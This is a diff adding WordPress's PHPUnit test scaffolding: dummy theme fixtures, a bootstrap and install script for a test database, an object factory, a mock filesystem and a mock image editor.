@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>

+ 11 - 0
tests/phpunit/data/themedir1/sandbox/style.css

@@ -0,0 +1,11 @@
+/*
+THEME NAME: Sandbox
+THEME URI: http://www.plaintxt.org/themes/sandbox/
+DESCRIPTION: A theme with powerful, semantic CSS selectors and the ability to add new skins.
+VERSION: 0.6.1-wpcom
+AUTHOR: <a href="http://andy.wordpress.com/">Andy Skelton</a> &amp; <a href="http://www.plaintxt.org/">Scott Allan Wallick</a>
+AUTHOR URI:
+
+  This is a dummy theme for testing the above metadata.
+*/
+

+ 14 - 0
tests/phpunit/data/themedir1/stylesheetonly/style.css

@@ -0,0 +1,14 @@
+/*
+Theme Name: Stylesheet Only
+Theme URI: http://www.example.com/blog/
+Description: A three-column widget-ready theme in dark blue.
+Version: 1.0
+Author: Henry Crun
+Author URI: http://www.example.com/
+
+template: sandbox
+
+
+ This is a dummy theme for testing the above metadata.
+*/
+

+ 1 - 0
tests/phpunit/data/themedir1/subdir/theme with spaces/index.php

@@ -0,0 +1 @@
+<?php

+ 11 - 0
tests/phpunit/data/themedir1/subdir/theme with spaces/style.css

@@ -0,0 +1,11 @@
+/*
+Theme Name: Theme with Spaces in the Directory
+Theme URI: http://example.org/
+Description: An example theme in a sub directory
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/

+ 3 - 0
tests/phpunit/data/themedir1/subdir/theme2/functions.php

@@ -0,0 +1,3 @@
+<?php
+
+?>

+ 3 - 0
tests/phpunit/data/themedir1/subdir/theme2/index.php

@@ -0,0 +1,3 @@
+<?php
+
+?>

+ 11 - 0
tests/phpunit/data/themedir1/subdir/theme2/style.css

@@ -0,0 +1,11 @@
+/*  
+Theme Name: My Subdir Theme
+Theme URI: http://example.org/
+Description: An example theme in a sub directory
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/

+ 7 - 0
tests/phpunit/data/themedir1/theme1-dupe/functions.php

@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>

+ 7 - 0
tests/phpunit/data/themedir1/theme1-dupe/index.php

@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>

+ 17 - 0
tests/phpunit/data/themedir1/theme1-dupe/style.css

@@ -0,0 +1,17 @@
+/*  
+Theme Name: My Theme
+Theme URI: http://example.org/
+Description: This theme has the same Theme Name as theme1
+Version: 1.4
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+	Kubrick v1.5
+	 http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+

+ 7 - 0
tests/phpunit/data/themedir1/theme1/functions.php

@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>

+ 7 - 0
tests/phpunit/data/themedir1/theme1/index.php

@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>

+ 17 - 0
tests/phpunit/data/themedir1/theme1/style.css

@@ -0,0 +1,17 @@
+/*  
+Theme Name: My Theme
+Theme URI: http://example.org/
+Description: An example theme
+Version: 1.3
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+	Kubrick v1.5
+	 http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+

+ 151 - 0
tests/phpunit/includes/bootstrap.php

@@ -0,0 +1,151 @@
+<?php
+/**
+ * Installs WordPress for running the tests and loads WordPress and the test libraries
+ */
+
+
+$config_file_path = dirname( dirname( __FILE__ ) );
+if ( ! file_exists( $config_file_path . '/wp-tests-config.php' ) ) {
+	// Support the config file from the root of the develop repository.
+	if ( basename( $config_file_path ) === 'phpunit' && basename( dirname( $config_file_path ) ) === 'tests' )
+		$config_file_path = dirname( dirname( $config_file_path ) );
+}
+$config_file_path .= '/wp-tests-config.php';
+
+/*
+ * Globalize some WordPress variables, because PHPUnit loads this file inside a function
+ * See: https://github.com/sebastianbergmann/phpunit/issues/325
+ */
+global $wpdb, $current_site, $current_blog, $wp_rewrite, $shortcode_tags, $wp, $phpmailer;
+
+if ( !is_readable( $config_file_path ) ) {
+	die( "ERROR: wp-tests-config.php is missing! Please use wp-tests-config-sample.php to create a config file.\n" );
+}
+require_once $config_file_path;
+
+define( 'DIR_TESTDATA', dirname( __FILE__ ) . '/../data' );
+
+if ( ! defined( 'WP_TESTS_FORCE_KNOWN_BUGS' ) )
+	define( 'WP_TESTS_FORCE_KNOWN_BUGS', false );
+
+// Cron tries to make an HTTP request to the blog, which always fails, because tests are run in CLI mode only
+define( 'DISABLE_WP_CRON', true );
+
+define( 'WP_MEMORY_LIMIT', -1 );
+define( 'WP_MAX_MEMORY_LIMIT', -1 );
+
+$_SERVER['SERVER_PROTOCOL'] = 'HTTP/1.1';
+$_SERVER['HTTP_HOST'] = WP_TESTS_DOMAIN;
+$PHP_SELF = $GLOBALS['PHP_SELF'] = $_SERVER['PHP_SELF'] = '/index.php';
+
+if ( "1" == getenv( 'WP_MULTISITE' ) ||
+	( defined( 'WP_TESTS_MULTISITE') && WP_TESTS_MULTISITE ) ) {
+	$multisite = true;
+} else {
+	$multisite = false;
+}
+
+// Override the PHPMailer
+require_once( dirname( __FILE__ ) . '/mock-mailer.php' );
+$phpmailer = new MockPHPMailer(); 
+
+system( WP_PHP_BINARY . ' ' . escapeshellarg( dirname( __FILE__ ) . '/install.php' ) . ' ' . escapeshellarg( $config_file_path ) . ' ' . $multisite );
+
+if ( $multisite ) {
+	echo "Running as multisite..." . PHP_EOL;
+	define( 'MULTISITE', true );
+	define( 'SUBDOMAIN_INSTALL', false );
+	define( 'DOMAIN_CURRENT_SITE', WP_TESTS_DOMAIN );
+	define( 'PATH_CURRENT_SITE', '/' );
+	define( 'SITE_ID_CURRENT_SITE', 1 );
+	define( 'BLOG_ID_CURRENT_SITE', 1 );
+	$GLOBALS['base'] = '/';
+} else {
+	echo "Running as single site... To run multisite, use -c tests/phpunit/multisite.xml" . PHP_EOL;
+}
+unset( $multisite );
+
+require_once dirname( __FILE__ ) . '/functions.php';
+
+// Preset WordPress options defined in bootstrap file.
+// Used to activate themes, plugins, as well as  other settings.
+if(isset($GLOBALS['wp_tests_options'])) {
+	function wp_tests_options( $value ) {
+		$key = substr( current_filter(), strlen( 'pre_option_' ) );
+		return $GLOBALS['wp_tests_options'][$key];
+	}
+
+	foreach ( array_keys( $GLOBALS['wp_tests_options'] ) as $key ) {
+		tests_add_filter( 'pre_option_'.$key, 'wp_tests_options' );
+	}
+}
+
+// Load WordPress
+require_once ABSPATH . '/wp-settings.php';
+
+// Delete any default posts & related data
+_delete_all_posts();
+
+require dirname( __FILE__ ) . '/testcase.php';
+require dirname( __FILE__ ) . '/testcase-xmlrpc.php';
+require dirname( __FILE__ ) . '/testcase-ajax.php';
+require dirname( __FILE__ ) . '/exceptions.php';
+require dirname( __FILE__ ) . '/utils.php';
+
+/**
+ * A child class of the PHP test runner.
+ *
+ * Used to access the protected longOptions property, to parse the arguments
+ * passed to the script.
+ *
+ * If it is determined that phpunit was called with a --group that corresponds
+ * to an @ticket annotation (such as `phpunit --group 12345` for bugs marked
+ * as #WP12345), then it is assumed that known bugs should not be skipped.
+ *
+ * If WP_TESTS_FORCE_KNOWN_BUGS is already set in wp-tests-config.php, then
+ * how you call phpunit has no effect.
+ */
+class WP_PHPUnit_Util_Getopt extends PHPUnit_Util_Getopt {
+	protected $longOptions = array(
+	  'exclude-group=',
+	  'group=',
+	);
+	function __construct( $argv ) {
+		array_shift( $argv );
+		$options = array();
+		while ( list( $i, $arg ) = each( $argv ) ) {
+			try {
+				if ( strlen( $arg ) > 1 && $arg[0] === '-' && $arg[1] === '-' ) {
+					PHPUnit_Util_Getopt::parseLongOption( substr( $arg, 2 ), $this->longOptions, $options, $argv );
+				}
+			}
+			catch ( PHPUnit_Framework_Exception $e ) {
+				// Enforcing recognized arguments or correctly formed arguments is
+				// not really the concern here.
+				continue;
+			}
+		}
+
+		$ajax_message = true;
+		foreach ( $options as $option ) {
+			switch ( $option[0] ) {
+				case '--exclude-group' :
+					$ajax_message = false;
+					continue 2;
+				case '--group' :
+					$groups = explode( ',', $option[1] );
+					foreach ( $groups as $group ) {
+						if ( is_numeric( $group ) || preg_match( '/^(UT|Plugin)\d+$/', $group ) ) {
+							WP_UnitTestCase::forceTicket( $group );
+						}
+					}
+					$ajax_message = ! in_array( 'ajax', $groups );
+					continue 2;
+			}
+		}
+		if ( $ajax_message ) {
+			echo "Not running ajax tests... To execute these, use --group ajax." . PHP_EOL;
+		}
+    }
+}
+new WP_PHPUnit_Util_Getopt( $_SERVER['argv'] );

+ 33 - 0
tests/phpunit/includes/exceptions.php

@@ -0,0 +1,33 @@
+<?php
+
+class WP_Tests_Exception extends PHPUnit_Framework_Exception {
+
+}
+
+/**
+ * General exception for wp_die()
+ */
+class WPDieException extends Exception {}
+
+/**
+ * Exception for cases of wp_die(), for ajax tests.
+ * This means there was an error (no output, and a call to wp_die)
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.4.0
+ */
+class WPAjaxDieStopException extends WPDieException {}
+
+/**
+ * Exception for cases of wp_die(), for ajax tests.
+ * This means execution of the ajax function should be halted, but the unit
+ * test can continue.  The function finished normally and there was not an
+ * error (output happened, but wp_die was called to end execution)  This is
+ * used with WP_Ajax_Response::send
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.4.0
+ */
+class WPAjaxDieContinueException extends WPDieException {}

+ 350 - 0
tests/phpunit/includes/factory.php

@@ -0,0 +1,350 @@
+<?php
+
+class WP_UnitTest_Factory {
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Post
+	 */
+	public $post;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Attachment
+	 */
+	public $attachment;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Comment
+	 */
+	public $comment;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_User
+	 */
+	public $user;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Term
+	 */
+	public $term;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Term
+	 */
+	public $category;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Term
+	 */
+	public $tag;
+
+	/**
+	 * @var WP_UnitTest_Factory_For_Blog
+	 */
+	public $blog;
+
+	function __construct() {
+		$this->post = new WP_UnitTest_Factory_For_Post( $this );
+		$this->attachment = new WP_UnitTest_Factory_For_Attachment( $this );
+		$this->comment = new WP_UnitTest_Factory_For_Comment( $this );
+		$this->user = new WP_UnitTest_Factory_For_User( $this );
+		$this->term = new WP_UnitTest_Factory_For_Term( $this );
+		$this->category = new WP_UnitTest_Factory_For_Term( $this, 'category' );
+		$this->tag = new WP_UnitTest_Factory_For_Term( $this, 'post_tag' );
+		if ( is_multisite() )
+			$this->blog = new WP_UnitTest_Factory_For_Blog( $this );
+	}
+}
+
+class WP_UnitTest_Factory_For_Post extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'post_status' => 'publish',
+			'post_title' => new WP_UnitTest_Generator_Sequence( 'Post title %s' ),
+			'post_content' => new WP_UnitTest_Generator_Sequence( 'Post content %s' ),
+			'post_excerpt' => new WP_UnitTest_Generator_Sequence( 'Post excerpt %s' ),
+			'post_type' => 'post'
+		);
+	}
+
+	function create_object( $args ) {
+		return wp_insert_post( $args );
+	}
+
+	function update_object( $post_id, $fields ) {
+		$fields['ID'] = $post_id;
+		return wp_update_post( $fields );
+	}
+
+	function get_object_by_id( $post_id ) {
+		return get_post( $post_id );
+	}
+}
+
+class WP_UnitTest_Factory_For_Attachment extends WP_UnitTest_Factory_For_Post {
+
+	function create_object( $file, $parent = 0, $args = array() ) {
+		return wp_insert_attachment( $args, $file, $parent );
+	}
+}
+
+class WP_UnitTest_Factory_For_User extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'user_login' => new WP_UnitTest_Generator_Sequence( 'User %s' ),
+			'user_pass' => 'password',
+			'user_email' => new WP_UnitTest_Generator_Sequence( 'user_%s@example.org' ),
+		);
+	}
+
+	function create_object( $args ) {
+		return wp_insert_user( $args );
+	}
+
+	function update_object( $user_id, $fields ) {
+		$fields['ID'] = $user_id;
+		return wp_update_user( $fields );
+	}
+
+	function get_object_by_id( $user_id ) {
+		return new WP_User( $user_id );
+	}
+}
+
+class WP_UnitTest_Factory_For_Comment extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'comment_author' => new WP_UnitTest_Generator_Sequence( 'Commenter %s' ),
+			'comment_author_url' => new WP_UnitTest_Generator_Sequence( 'http://example.com/%s/' ),
+			'comment_approved' => 1,
+			'comment_content' => 'This is a comment'
+		);
+	}
+
+	function create_object( $args ) {
+		return wp_insert_comment( $this->addslashes_deep( $args ) );
+	}
+
+	function update_object( $comment_id, $fields ) {
+		$fields['comment_ID'] = $comment_id;
+		return wp_update_comment( $this->addslashes_deep( $fields ) );
+	}
+
+	function create_post_comments( $post_id, $count = 1, $args = array(), $generation_definitions = null ) {
+		$args['comment_post_ID'] = $post_id;
+		return $this->create_many( $count, $args, $generation_definitions );
+	}
+
+	function get_object_by_id( $comment_id ) {
+		return get_comment( $comment_id );
+	}
+}
+
+class WP_UnitTest_Factory_For_Blog extends WP_UnitTest_Factory_For_Thing {
+
+	function __construct( $factory = null ) {
+		global $current_site, $base;
+		parent::__construct( $factory );
+		$this->default_generation_definitions = array(
+			'domain' => $current_site->domain,
+			'path' => new WP_UnitTest_Generator_Sequence( $base . 'testpath%s' ),
+			'title' => new WP_UnitTest_Generator_Sequence( 'Site %s' ),
+			'site_id' => $current_site->id,
+		);
+	}
+
+	function create_object( $args ) {
+		global $wpdb;
+		$meta = isset( $args['meta'] ) ? $args['meta'] : array();
+		$user_id = isset( $args['user_id'] ) ? $args['user_id'] : get_current_user_id();
+		// temp tables will trigger db errors when we attempt to reference them as new temp tables
+		$suppress = $wpdb->suppress_errors();
+		$blog = wpmu_create_blog( $args['domain'], $args['path'], $args['title'], $user_id, $meta, $args['site_id'] );
+		$wpdb->suppress_errors( $suppress );
+		return $blog;
+	}
+
+	function update_object( $blog_id, $fields ) {}
+
+	function get_object_by_id( $blog_id ) {
+		return get_blog_details( $blog_id, false );
+	}
+}
+
+
+class WP_UnitTest_Factory_For_Term extends WP_UnitTest_Factory_For_Thing {
+
+	private $taxonomy;
+	const DEFAULT_TAXONOMY = 'post_tag';
+
+	function __construct( $factory = null, $taxonomy = null ) {
+		parent::__construct( $factory );
+		$this->taxonomy = $taxonomy ? $taxonomy : self::DEFAULT_TAXONOMY;
+		$this->default_generation_definitions = array(
+			'name' => new WP_UnitTest_Generator_Sequence( 'Term %s' ),
+			'taxonomy' => $this->taxonomy,
+			'description' => new WP_UnitTest_Generator_Sequence( 'Term description %s' ),
+		);
+	}
+
+	function create_object( $args ) {
+		$args = array_merge( array( 'taxonomy' => $this->taxonomy ), $args );
+		$term_id_pair = wp_insert_term( $args['name'], $args['taxonomy'], $args );
+		if ( is_wp_error( $term_id_pair ) )
+			return $term_id_pair;
+		return $term_id_pair['term_id'];
+	}
+
+	function update_object( $term, $fields ) {
+		$fields = array_merge( array( 'taxonomy' => $this->taxonomy ), $fields );
+		if ( is_object( $term ) )
+			$taxonomy = $term->taxonomy;
+		$term_id_pair = wp_update_term( $term, $taxonomy, $fields );
+		return $term_id_pair['term_id'];
+	}
+
+	function add_post_terms( $post_id, $terms, $taxonomy, $append = true ) {
+		return wp_set_post_terms( $post_id, $terms, $taxonomy, $append );
+	}
+
+	function get_object_by_id( $term_id ) {
+		return get_term( $term_id, $this->taxonomy );
+	}
+}
+
+abstract class WP_UnitTest_Factory_For_Thing {
+
+	var $default_generation_definitions;
+	var $factory;
+
+	/**
+	 * Creates a new factory, which will create objects of a specific Thing
+	 *
+	 * @param object $factory Global factory that can be used to create other objects on the system
+	 * @param array $default_generation_definitions Defines what default values should the properties of the object have. The default values
+	 * can be generators -- an object with next() method. There are some default generators: {@link WP_UnitTest_Generator_Sequence},
+	 * {@link WP_UnitTest_Generator_Locale_Name}, {@link WP_UnitTest_Factory_Callback_After_Create}.
+	 */
+	function __construct( $factory, $default_generation_definitions = array() ) {
+		$this->factory = $factory;
+		$this->default_generation_definitions = $default_generation_definitions;
+	}
+
+	abstract function create_object( $args );
+	abstract function update_object( $object, $fields );
+
+	function create( $args = array(), $generation_definitions = null ) {
+		if ( is_null( $generation_definitions ) )
+			$generation_definitions = $this->default_generation_definitions;
+
+		$generated_args = $this->generate_args( $args, $generation_definitions, $callbacks );
+		$created = $this->create_object( $generated_args );
+		if ( !$created || is_wp_error( $created ) )
+			return $created;
+
+		if ( $callbacks ) {
+			$updated_fields = $this->apply_callbacks( $callbacks, $created );
+			$save_result = $this->update_object( $created, $updated_fields );
+			if ( !$save_result || is_wp_error( $save_result ) )
+				return $save_result;
+		}
+		return $created;
+	}
+
+	function create_and_get( $args = array(), $generation_definitions = null ) {
+		$object_id = $this->create( $args, $generation_definitions );
+		return $this->get_object_by_id( $object_id );
+	}
+
+	abstract function get_object_by_id( $object_id );
+
+	function create_many( $count, $args = array(), $generation_definitions = null ) {
+		$results = array();
+		for ( $i = 0; $i < $count; $i++ ) {
+			$results[] = $this->create( $args, $generation_definitions );
+		}
+		return $results;
+	}
+
+	function generate_args( $args = array(), $generation_definitions = null, &$callbacks = null ) {
+		$callbacks = array();
+		if ( is_null( $generation_definitions ) )
+			$generation_definitions = $this->default_generation_definitions;
+
+		foreach( array_keys( $generation_definitions ) as $field_name ) {
+			if ( !isset( $args[$field_name] ) ) {
+				$generator = $generation_definitions[$field_name];
+				if ( is_scalar( $generator ) )
+					$args[$field_name] = $generator;
+				elseif ( is_object( $generator ) && method_exists( $generator, 'call' ) ) {
+					$callbacks[$field_name] = $generator;
+				} elseif ( is_object( $generator ) )
+					$args[$field_name] = $generator->next();
+				else
+					return new WP_Error( 'invalid_argument', 'Factory default value should be either a scalar or an generator object.' );
+			}
+		}
+		return $args;
+	}
+
+	function apply_callbacks( $callbacks, $created ) {
+		$updated_fields = array();
+		foreach( $callbacks as $field_name => $generator ) {
+			$updated_fields[$field_name] = $generator->call( $created );
+		}
+		return $updated_fields;
+	}
+
+	function callback( $function ) {
+		return new WP_UnitTest_Factory_Callback_After_Create( $function );
+	}
+
+	function addslashes_deep($value) {
+		if ( is_array( $value ) ) {
+			$value = array_map( array( $this, 'addslashes_deep' ), $value );
+		} elseif ( is_object( $value ) ) {
+			$vars = get_object_vars( $value );
+			foreach ($vars as $key=>$data) {
+				$value->{$key} = $this->addslashes_deep( $data );
+			}
+		} elseif ( is_string( $value ) ) {
+			$value = addslashes( $value );
+		}
+
+		return $value;
+	}
+
+}
+
+class WP_UnitTest_Generator_Sequence {
+	var $next;
+	var $template_string;
+
+	function __construct( $template_string = '%s', $start = 1 ) {
+		$this->next = $start;
+		$this->template_string = $template_string;
+	}
+
+	function next() {
+		$generated = sprintf( $this->template_string , $this->next );
+		$this->next++;
+		return $generated;
+	}
+}
+
+class WP_UnitTest_Factory_Callback_After_Create {
+	var $callback;
+
+	function __construct( $callback ) {
+		$this->callback = $callback;
+	}
+
+	function call( $object ) {
+		return call_user_func( $this->callback, $object );
+	}
+}

+ 44 - 0
tests/phpunit/includes/functions.php

@@ -0,0 +1,44 @@
+<?php
+
+// For adding hooks before loading WP
+function tests_add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) {
+	global $wp_filter, $merged_filters;
+
+	$idx = _test_filter_build_unique_id($tag, $function_to_add, $priority);
+	$wp_filter[$tag][$priority][$idx] = array('function' => $function_to_add, 'accepted_args' => $accepted_args);
+	unset( $merged_filters[ $tag ] );
+	return true;
+}
+
+function _test_filter_build_unique_id($tag, $function, $priority) {
+	global $wp_filter;
+	static $filter_id_count = 0;
+
+	if ( is_string($function) )
+		return $function;
+
+	if ( is_object($function) ) {
+		// Closures are currently implemented as objects
+		$function = array( $function, '' );
+	} else {
+		$function = (array) $function;
+	}
+
+	if (is_object($function[0]) ) {
+		return spl_object_hash($function[0]) . $function[1];
+	} else if ( is_string($function[0]) ) {
+		// Static Calling
+		return $function[0].$function[1];
+	}
+}
+
+function _delete_all_posts() {
+	global $wpdb;
+
+	$all_posts = $wpdb->get_col("SELECT ID from {$wpdb->posts}");
+	if ($all_posts) {
+		foreach ($all_posts as $id)
+			wp_delete_post( $id, true );
+	}
+}
+

+ 59 - 0
tests/phpunit/includes/install.php

@@ -0,0 +1,59 @@
+<?php
+/**
+ * Installs WordPress for the purpose of the unit-tests
+ *
+ * @todo Reuse the init/load code in init.php
+ */
+error_reporting( E_ALL & ~E_DEPRECATED & ~E_STRICT );
+
+$config_file_path = $argv[1];
+$multisite = ! empty( $argv[2] );
+
+define( 'WP_INSTALLING', true );
+require_once $config_file_path;
+require_once dirname( __FILE__ ) . '/functions.php';
+
+$_SERVER['SERVER_PROTOCOL'] = 'HTTP/1.1';
+$_SERVER['HTTP_HOST'] = WP_TESTS_DOMAIN;
+$PHP_SELF = $GLOBALS['PHP_SELF'] = $_SERVER['PHP_SELF'] = '/index.php';
+
+require_once ABSPATH . '/wp-settings.php';
+
+require_once ABSPATH . '/wp-admin/includes/upgrade.php';
+require_once ABSPATH . '/wp-includes/wp-db.php';
+
+// Override the PHPMailer
+global $phpmailer;
+require_once( dirname( __FILE__ ) . '/mock-mailer.php' );
+$phpmailer = new MockPHPMailer();
+
+$wpdb->query( 'SET storage_engine = INNODB' );
+$wpdb->select( DB_NAME, $wpdb->dbh );
+
+echo "Installing..." . PHP_EOL;
+
+foreach ( $wpdb->tables() as $table => $prefixed_table ) {
+	$wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" );
+}
+
+foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) {
+	$wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" );
+
+	// We need to create references to ms global tables.
+	if ( $multisite )
+		$wpdb->$table = $prefixed_table;
+}
+
+wp_install( WP_TESTS_TITLE, 'admin', WP_TESTS_EMAIL, true, null, 'password' );
+
+if ( $multisite ) {
+	echo "Installing network..." . PHP_EOL;
+
+	define( 'WP_INSTALLING_NETWORK', true );
+
+	$title = WP_TESTS_TITLE . ' Network';
+	$subdomain_install = false;
+
+	install_network();
+	populate_network( 1, WP_TESTS_DOMAIN, WP_TESTS_EMAIL, $title, '/', $subdomain_install );
+}

+ 228 - 0
tests/phpunit/includes/mock-fs.php

@@ -0,0 +1,228 @@
+<?php
+class WP_Filesystem_MockFS extends WP_Filesystem_Base {
+	private $cwd;
+
+	// Holds a array of objects which contain an array of objects, etc.
+	private $fs = null;
+
+	// Holds a array of /path/to/file.php and /path/to/dir/ map to an object in $fs above
+	// a fast more efficient way of determining if a path exists, and access to that node
+	private $fs_map = array();
+
+	public $verbose = false; // Enable to debug WP_Filesystem_Base::find_folder() / etc.
+	public $errors = array();
+	public $method = 'MockFS';
+
+	function __construct() {}
+
+	function connect() {
+		return true;
+	}
+
+	// Copy of core's function, but accepts a path.
+	function abspath( $path = false ) {
+		if ( ! $path )
+			$path = ABSPATH;
+		$folder = $this->find_folder( $path );
+
+		// Perhaps the FTP folder is rooted at the WordPress install, Check for wp-includes folder in root, Could have some false positives, but rare.
+		if ( ! $folder && $this->is_dir('/wp-includes') )
+			$folder = '/';
+		return $folder;
+	}
+
+	// Mock FS specific functions:
+
+	/**
+	 * Sets initial filesystem environment and/or clears the current environment.
+	 * Can also be passed the initial filesystem to be setup which is passed to self::setfs()
+	 */
+	function init( $paths = '', $home_dir = '/' ) {
+		$this->fs = new MockFS_Directory_Node( '/' );
+		$this->fs_map = array(
+			'/' => $this->fs,
+		);
+		$this->cache = array(); // Used by find_folder() and friends
+		$this->cwd = isset( $this->fs_map[ $home_dir ] ) ? $this->fs_map[ $home_dir ] : '/';
+		$this->setfs( $paths );
+	}
+
+	/**
+	 * "Bulk Loads" a filesystem into the internal virtual filesystem
+	 */
+	function setfs( $paths ) {
+		if ( ! is_array($paths) )
+			$paths = explode( "\n", $paths );
+
+		$paths = array_filter( array_map( 'trim', $paths ) );
+
+		foreach ( $paths as $path ) {
+			// Allow for comments
+			if ( '#' == $path[0] )
+				continue;
+
+			// Directories
+			if ( '/' == $path[ strlen($path) -1 ] )
+				$this->mkdir( $path );
+			else // Files (with dummy content for now)
+				$this->put_contents( $path, 'This is a test file' );
+		}
+
+	}
+
+	/**
+	 * Locates a filesystem "node"
+	 */
+	private function locate_node( $path ) {
+		return isset( $this->fs_map[ $path ] ) ? $this->fs_map[ $path ] : false;
+	}
+
+	/**
+	 * Locates a filesystem node for the parent of the given item
+	 */
+	private function locate_parent_node( $path ) {
+		$dirname = str_replace( '\\', '/', dirname( $path ) );
+		return $this->locate_node( trailingslashit( $dirname ) );
+	}
+
+	// Here starteth the WP_Filesystem functions.
+
+	function mkdir( $path, /* Optional args are ignored */ $chmod = false, $chown = false, $chgrp = false ) {
+		$path = trailingslashit( $path );
+
+		$parent_node = $this->locate_parent_node( $path );
+		if ( ! $parent_node ) {
+			$dirname = str_replace( '\\', '/', dirname( $path ) );
+			$this->mkdir( $dirname );
+			$parent_node = $this->locate_parent_node( $path );
+			if ( ! $parent_node )
+				return false;
+		}
+
+		$node = new MockFS_Directory_Node( $path );
+
+		$parent_node->children[ $node->name ] = $node;
+		$this->fs_map[ $path ] = $node;
+
+		return true;
+	}
+
+	function put_contents( $path, $contents = '', $mode = null ) {
+		if ( ! $this->is_dir( dirname( $path ) ) )
+			$this->mkdir( dirname( $path ) );
+
+		$parent = $this->locate_parent_node( $path );
+		$new_file = new MockFS_File_Node( $path, $contents );
+
+		$parent->children[ $new_file->name ] = $new_file;
+		$this->fs_map[ $path ] = $new_file;
+	}
+
+	function get_contents( $file ) {
+		if ( ! $this->is_file( $file ) )
+			return false;
+		return $this->fs_map[ $file ]->contents;
+	}
+
+	function cwd() {
+		return $this->cwd->path;
+	}
+
+	function chdir( $path ) {
+		if ( ! isset( $this->fs_map[ $path ] ) )
+			return false;
+
+		$this->cwd = $this->fs_map[ $path ];
+		return true;
+	}
+
+	function exists( $path ) {
+		return isset( $this->fs_map[ $path ] ) || isset( $this->fs_map[ trailingslashit( $path ) ] );
+	}
+
+	function is_file( $file ) {
+		return isset( $this->fs_map[ $file ] ) && $this->fs_map[ $file ]->is_file();
+	}
+
+	function is_dir( $path ) {
+		$path = trailingslashit( $path );
+
+		return isset( $this->fs_map[ $path ] ) && $this->fs_map[ $path ]->is_dir();
+	}
+
+	function dirlist( $path = '.', $include_hidden = true, $recursive = false ) {
+
+		if ( empty( $path ) || '.' == $path )
+			$path = $this->cwd();
+
+		if ( ! $this->exists( $path ) )
+			return false;
+
+		$limit_file = false;
+		if ( $this->is_file( $path ) ) {
+			$limit_file = $this->locate_node( $path )->name;
+			$path = dirname( $path ) . '/';
+		}
+
+		$ret = array();
+		foreach ( $this->fs_map[ $path ]->children as $entry ) {
+			if ( '.' == $entry->name || '..' == $entry->name )
+				continue;
+
+			if ( ! $include_hidden && '.' == $entry->name )
+				continue;
+
+			if ( $limit_file && $entry->name != $limit_file )
+				continue;
+
+			$struc = array();
+			$struc['name'] = $entry->name;
+			$struc['type'] = $entry->type;
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist( trailingslashit( $path ) . trailingslashit( $struc['name'] ), $include_hidden, $recursive );
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $entry->name ] = $struc;
+		}
+		return $ret;
+	}
+
+}
+
+class MockFS_Node {
+	public $name; // The "name" of the entry, does not include a slash (exception, root)
+	public $type; // The type of the entry 'f' for file, 'd' for Directory
+	public $path; // The full path to the entry.
+
+	function __construct( $path ) {
+		$this->path = $path;
+		$this->name = basename( $path );
+	}
+
+	function is_file() {
+		return $this->type == 'f';
+	}
+
+	function is_dir() {
+		return $this->type == 'd';
+	}
+}
+
+class MockFS_Directory_Node extends MockFS_Node {
+	public $type = 'd';
+	public $children = array(); // The child nodes of this directory
+}
+
+class MockFS_File_Node extends MockFS_Node {
+	public $type = 'f';
+	public $contents = ''; // The contents of the file
+
+	function __construct( $path, $contents = '' ) {
+		parent::__construct( $path );
+		$this->contents = $contents;
+	}
+}

+ 43 - 0
tests/phpunit/includes/mock-image-editor.php

@@ -0,0 +1,43 @@
+<?php
+
+if (class_exists( 'WP_Image_Editor' ) ) :
+
+	class WP_Image_Editor_Mock extends WP_Image_Editor {
+
+		public static $load_return = true;
+		public static $test_return = true;
+		public static $save_return = array();
+
+		public function load() {
+			return self::$load_return;
+		}
+		public static function test( $args = array() ) {
+			return self::$test_return;
+		}
+		public static function supports_mime_type( $mime_type ) {
+			return true;
+		}
+		public function resize( $max_w, $max_h, $crop = false ) {
+
+		}
+		public function multi_resize( $sizes ) {
+
+		}
+		public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
+
+		}
+		public function rotate( $angle ) {
+
+		}
+		public function flip( $horz, $vert ) {
+
+		}
+		public function save( $destfilename = null, $mime_type = null ) {
+			return self::$save_return;
+		}
+		public function stream( $mime_type = null ) {
+
+		}
+	}
+
+endif;

